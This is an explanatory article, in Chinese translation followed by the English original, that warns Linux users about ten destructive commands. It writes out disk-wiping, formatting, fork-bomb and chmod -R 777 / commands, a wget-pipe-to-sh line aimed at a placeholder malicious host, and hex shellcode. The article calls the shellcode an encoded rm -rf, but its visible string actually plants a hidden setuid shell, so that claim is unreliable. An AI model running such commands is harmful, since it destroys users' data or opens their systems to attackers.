10 大可以摧毁你的 Linux 的命令
Linux 命令
![](/data/attachment/album/202209/12/184637rc8znomk1ok7o2wx.jpg)


什么是最危险的 Linux 命令？


有人无数次问我这个问题，我一直避免回答，因为**没有一个明确的危险的 Linux 命令清单**。


你拥有的工具使你能够控制和修改你的操作系统的每一个方面。我不是想吓唬你，但如果你不熟悉这些命令和工具，你可以很容易地把你的系统摧毁。


想象一下家庭中的小孩子的情景。孩子有许多方法可以伤害自己。但这是否意味着不应允许孩子离开婴儿床？那会对她的成长造成损害。


这就是父母设定界限和引导孩子的地方。不要靠近火堆，不要把手指戳到电源插座上……随着孩子的成长和经验的积累，她可以把炉子打开，在壁炉里生火，插上电源线。


同样，如果你知道一些已知的风险命令，你可能会避免落入巨魔的陷阱，他们试图欺骗你运行命令，扰乱你的系统。


当你积累了经验，知道了这些命令和工具的含义和用法，用愚蠢和棘手的命令破坏你的系统的机会就会减少。


我的同事 Sreenath 收集了一些流行的危险 Linux 命令。让我们看看它们是如何干掉你的 Linux 系统的。



> 
> **免责警告：如果你不清楚你在做什么，请勿尝试本文提及的这些命令，否则后果自负。**
> 
> 
> 


### 1、rm -rf /\*


这个可能是在各种社交媒体上盘旋的最臭名昭著的命令。你会经常发现巨魔们在各种讨论中提及这个。


`rm` 命令用来删除文件/目录。标志 `-r` 和 `-f` 表示递归地删除指定目录内的所有文件。现在，如果没有 root 权限，这个命令不会造成任何伤害。


运行 [sudo rm -rf /](https://itsfoss.com/sudo-rm-rf/) 命令也不会产生任何问题，因为大多数发行版提供了一个故障安全选项。你需要指定 `--no-preserve-root` 才能实际运行它。



```
sudo rm -rf / --no-preserve-root

```

然而，一个更简单的版本可以是这样的：



```
sudo rm -rf /*

```

它将开始递归地删除根目录下的所有文件，在一段时间后，你的系统会冻结，并显示“删除文件错误”。一旦重新启动，你将被送到 **grub-rescue** 提示符下。


### 2、覆盖你的分区


如果你熟悉文件系统，你可能知道 `/dev/sda` 是什么。它（通常）是你的磁盘驱动器分区。`>` 操作符用于将其前面的命令的输出写到所提供的指定位置。


一旦你运行任何命令并把它写到 `/dev/sda`，比如说：



```
echo "Hello" > /dev/sda

```

这将用 `Hello` 字符串替换你的包含启动系统所需的所有数据的分区。


### 3、把所有的东西都移到黑洞


每个 Linux 系统内都有一个黑洞。而这个黑洞就是 `/dev/null`。


无论你把什么东西扔进这个区域都会永远丢失。而且，它在丢弃数据后会将写入过程报告为成功，这是其破坏性的主要原因。



```
mv /home/user/* /dev/null

```

[mv 命令](https://linuxhandbook.com/mv-command/) 用来移动或重命名文件/目录。在上面的命令中，你把家目录内的所有文件都移到了黑洞中。虽然根系统没有被破坏，但你所有的个人数据都会丢失。


### 4、格式化你的硬盘


[mkfs](https://linuxhandbook.com/mkfs-command/) 是一个命令行工具，用于格式化磁盘和分区。它是一个超级方便的工具，可以为安装的操作系统创建分区。但同样的命令也可以格式化你的硬盘。格式化你的驱动器意味着删除系统启动所需的所有文件。



```
mkfs.ext3 /dev/sda

```

这个命令完成了它的工作，而你最终得到了一个无法恢复的混乱的系统。


### 5、fork 炸弹


这个看起来很可爱的特殊字符和符号的随机组合，足以通过耗尽系统资源来冻结一个正在运行的系统。



```
:(){ :|:& };:

```

`&` - Shell 后台操作符。它通知 Shell 将命令放在后台。在这里，它定义了一个叫做 `:` 的函数，它调用自己两次，一次在前台，一次在后台。这个过程不断地重复执行，直到系统冻结。


顾名思义，它自己分叉，最终成为一个连锁炸弹，吃掉了所有的系统资源。你将被迫重启系统，这并不像本列表中的其他命令那样糟糕。


### 6、覆盖重要的配置文件


虽然这本身不是一个命令，但它更像是一个预防性的东西。


如上所述，`>` 操作符是用来向文件写入的。它丢弃文件中已经存在的东西，并将提供的新数据写入文件中。



```
command > config_filename

```

现在，如果你将一些重要的配置文件作为写数据的地方，它将被取代内容，留下一个损坏的系统。


### 7、用垃圾数据替换分区


`/dev/random` 是 Linux 中的一个命令，它可以创建垃圾数据。把它和 [dd 命令](https://linuxhandbook.com/dd-command/) 以及你的分区结合起来，你就得到了一个可以让你的分区着火的燃烧弹。



```
dd if=/dev/random of=/dev/sda

```

`dd` 命令被用作一个低级别的复制工具。这里，它从 `/dev/random` 中获取随机数据，并用这些垃圾替换 `/dev/sda` 分区。


一个类似的效果是通过以下方式获得的：



```
cat /dev/urandom > filename

```

这里，它从 `/dev/urandom`（LCTT 译注：在 Linux 上，`/dev/urandom` 现在和 `/dev/random` 的等价的 ）中获取垃圾数据并填入一个文件。如果不使用 `Ctrl + C` 终止，该文件会占据相当大的空间，这对低端系统来说可能是灾难性的。


### 8、将你的系统暴露给所有人


在 Linux 中，所有东西都是文件，每个 [文件都有一定的权限](https://linuxhandbook.com/linux-file-permissions/)。


你可以用 `ls -l` 查看权限。根文件系统是不允许其他没有权限的用户访问的。虽然这保证了系统的私密性和安全性，但你可以用一个命令颠覆这个系统。



```
chmod -R 777 /

```

上述命令将根分区上的所有文件暴露给所有人。这意味着每个使用该系统的人都有读、写和执行的权限。这对你的系统是不利的。


### 9、下载并运行恶意的内容


你如何在 Linux 中安装软件？你可以使用官方的软件包管理器或随时可以使用的软件包，如 Deb/RPM、Snap、Flatpak 等。


然而，有些软件是没有打包的，它们的开发者提供了下载和运行的 Shell 脚本。以 [Homebrew](https://itsfoss.com/homebrew-linux/) 为例：


你下载一个 Shell 文件，然后以 root 身份运行它，在你的系统中安装一个软件。你看出问题了吗？


虽然它对 Homebrew 这样的官方软件有效，但在你像下面这样直接运行它之前，你应该仔细检查你所下载的 Shell 脚本的内容：



```
wget http://malicious_source -O- | sh

```

这样的命令会在你的系统中下载并运行恶意脚本，这可能会破坏你的系统的安全性。


### 10、伪装的命令


在 Linux 终端中，有许多方法可以运行命令。其中一种方式是十六进制编码的命令：



```
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

```

虽然它看起来很花哨，但这是 `rm -rf` 命令的一个编码版本。它的效果与运行前面的命令相同。因此，在从互联网上复制和粘贴这些花哨的命令时，要小心谨慎。


### 总结


![pebkac](/data/attachment/album/202209/12/184724b1qmm5qmmeb3oge7.jpg)


有一个著名的计算机术语 PEBKAC：“<ruby> 问题存在于键盘和椅子之间 <rt>  problem exists between keyboard and chair </rt></ruby>”。


因为归根结底，还是要靠用户（你）来保证你不会因为盲目地运行任何危险的命令而破坏系统。



> 
> UNIX 的工作不是要阻止你搬起石头砸你自己的脚。如果你选择这样做，那么 UNIX 的工作就是以它所知道的最有效的方式将石头砸到脚上。
> 
> 
> 


而这句话同样适用于 Linux。你可以完全控制你的操作系统。你选择做什么，完全取决于你。


我建议做这些事情以确保更安全的体验。


* 尝试并理解你将要运行的命令。
* 用 Timeshift 保持你的系统设置的备份
* 用 DejaDup 保持个人数据（主目录）的备份


正如我所说，没有固定的危险 Linux 命令清单。还有很多可以添加到这个列表中，而且根本没有尽头。


我希望这能给你一些提示，告诉你为了保持 Linux 的安全，你不应该做什么。如果你有建议，请在评论区告诉我。




---


via: <https://itsfoss.com/dangerous-linux-commands/>


作者：[Abhishek Prakash](https://itsfoss.com/) 选题：[lkxed](https://github.com/lkxed) 译者：[wxy](https://github.com/wxy) 校对：[wxy](https://github.com/wxy)


本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


OK
![Warp Terminal](/assets/images/warp-terminal.webp)


![Warp Terminal](/assets/images/warp-terminal.webp)

*What are the most dangerous Linux commands?*

I have been asked this question numerous times and I have avoided answering that because **there is no definite list of dangerous Linux commands**.

You have the tools that enable you to control and modify every aspect of your operating system. I am not trying to scare you but if you are unfamiliar with the commands and tools, you can screw up your system pretty easily.

Imagine the scenario of a young child in a household. There are numerous ways the kid can hurt herself. But does this mean the child should not be allowed outside the crib? That would be damaging to her growth.

This is where parents set boundaries and guide the child. Don’t go near the fire. Don’t poke your fingers in the power outlets. As the child grows and gains experience, she can turn the stove on, make a fire in the fireplace and plug in the power cables.

Similarly, if you are aware of a few known risky commands, you may avoid falling into the traps of trolls trying to trick you into running commands and messing up your system.

As you gain experience and know the meaning and usages of the commands and tools, less will be the chances of destroying your system with silly and tricky commands.

My teammate Sreenath gathered some of the popular dangerous Linux commands. Let’s see how they work.

## 1. rm -rf /*

This one probably is the most infamous command circling in all kinds of social media. You’ll often find trolls commenting this in various discussions.

The command `rm`

is used to remove files/directories. The flags `-r `

and `-f`

are used to denote recursive removal of all files inside the specified directory. Now, without root privilege, this command won’t do any harm.

Running the [command sudo rm -rf /](https://itsfoss.com/sudo-rm-rf/) also will not create any issues as most distributions provide a failsafe option. You need to specify –no-preserve-root with it to actually run it.

`sudo rm -rf / --no-preserve-root`


However, a simpler version of this could be:

`sudo rm -rf /*`


It will start deleting all the files recursively in the root directory, and at some particular time, your system freezes with a message “Error deleting file.” Once rebooted, you will be sent to the **grub-rescue** prompt.

## 2. Overwrite your partition

If you are familiar with file systems, you probably know what /dev/sda is. It is (usually) your disk drive partition. The `>`

operator is used to write the output of its preceding command to the specified location provided.

Once you run any command and write it to /dev/sda, say:

`echo "Hello" > /dev/sda`


This will replace your partition containing all data needed to boot the system with the string “Hello”.

## 3. Move everything into the void

There is a void inside every Linux system. And that void is /dev/null.

Whatever you throw into this area is lost forever. Also, it reports the writing process as a success after discarding the data, which is the main reason for its destructiveness

`mv /home/user/* /dev/null`


The [mv command](https://linuxhandbook.com/mv-command/) is used to move or rename files/directories. In the above command, you move all the files inside the home directory to the void. While the root system is not destroyed, all your personal data will be lost.

## 4. Format your hard drive

[mkfs](https://linuxhandbook.com/mkfs-command/) is a command-line utility, used to format disks and partitions. It is a super handy tool for creating partitions for various installations. But the same command can format your drive also. Formatting your drive means deleting all the files needed for the system to boot.

`mkfs.ext3 /dev/sda`


The command does its job and you end up with a messed up system beyond recovery.

## 5. Fork bomb

This cute-looking, random combination of special characters and symbols is powerful enough to freeze a running system by exhausting the system resources.

`:(){:|:&};:`


& – Shell Background Operator. It informs the shell to put the command in the background. Here, it defines a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. This process keeps on executing again and again till the system freezes.

![forkbomb](https://itsfoss.com/content/images/wordpress/2022/09/forkbomb.png)

As the name suggests, the [fork bomb](https://itsfoss.com/fork-bomb/) forks itself and eventually becomes a chain bomb and eats up all the system resources. You’ll be forced to reboot the system, which is not as bad as the other commands in this list.

## 6. Overwrite important configuration files

While this is not a command by itself, it is more of a precautionary thing.

As mentioned above, the “>” operator is used to write to a file. It just discards anything already present in the file and writes new data provided to it.

`command > config_filename`


Now, if you use some important configuration file as the place to write data, it will replace the content, leaving a broken system.

## 7. Replace partition with garbage data

The /dev/random is one command in Linux that can create garbage data. Combine it with the [dd command](https://linuxhandbook.com/dd-command/) and your partition, and you get a Molotov to set your partition on fire.

`dd if=/dev/random of=/dev/sda`


dd command is used as a low-level copying tool. Here, it takes random data from `/dev/random`

and replaces the partition `/dev/sda`

with this garbage.

A similar kind of effect is obtained with:

`cat /dev/urandom > filename`


Here, it takes garbage data from /dev/urandom and fills in a file. If not terminated with Ctrl + C, the file can occupy a considerable amount of space, which may be disastrous for low-end systems.

## 8. Expose your system to everyone

Everything is a file in Linux and every [file has certain permissions](https://linuxhandbook.com/linux-file-permissions/).

You can view the permissions with `ls -l`

. The root file system is not accessible to other users without privileges. While this ensures a private and secure system, you can upside down this system with one single command.

`chmod -R 777 /`


The above command exposes all files on the root partition to everyone. What it means is that everyone using the system has read, write, and execution permission. This is not good for your system.

## 9. Download and run malicious content

How do you install software in Linux? You use the official package manager or ready to use packages as Deb/RPM, Snap. Flatpak etc.

However, some software are not packaged and their developers provide shell scripts to download and run. Take [homebrew](https://itsfoss.com/homebrew-linux/) for example.

You download a shell file and run it as root to install a software in your system. Do you see the problem with it?

While it works with official software like Homebrew, you should double check the content of the shell script you are downloading before running it directly like this:

`wget http://malicious_source -O- | sh`


Such commands will download and run malicious scripts in your system, which can undermine the security of your system.

## 10. Disguised commands

There are many ways you can run commands in a Linux terminal. One such way is the hex-coded commands.

```
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
```


While it looks fancy, this is a coded version of `rm -rf`

command. It does the same effect as running the previous command. So, while copying and pasting such fancy commands from the internet, be cautious.

## Wrapping Up

![pebkac](https://itsfoss.com/content/images/wordpress/2022/09/pebkac.jpg)

There is a famous computing term PEBKAC; “problem exists between keyboard and chair.”

Because in the end, it’s up to the user (you) to ensure that you don’t destroy the system by blindly running any dangerous command.

It is not UNIX’s job to stop you from shooting your foot. If you so choose to do so, then it is UNIX’s job to deliver Mr. Bullet to Mr Foot in the most efficient way it knows.

And that line equally applies to Linux. You get full control over your operating system. What you choose to do with is totally up to you.

I advise these things to ensure a safer experience:

- Try and understand the commands you are about to run.
- Keep a backup of your system settings with Timeshift
- Keep a backup of personal data (home directory) using DejaDup

As I said, there is no fixed list of dangerous Linux commands. A lot more can be added to this list and there is simply no end to it.

I also think that knowing at least the [basic Linux commands](https://itsfoss.com/essential-ubuntu-commands/) and their functioning also helps avoiding silly but catastrophic errors.

[31 Basic Yet Essential Ubuntu CommandsAn extensive list of essential Linux commands that every Ubuntu user will find helpful in their Linux journey.](https://itsfoss.com/essential-ubuntu-commands/)![](https://itsfoss.com/content/images/wordpress/2022/11/must-know-linux-commands-for-ubuntu-user.png)


![](https://itsfoss.com/content/images/wordpress/2022/11/must-know-linux-commands-for-ubuntu-user.png)

I hope this gives you some hints about what you should not be doing to stay safe with Linux. Let me know if you have suggestions in the comment section.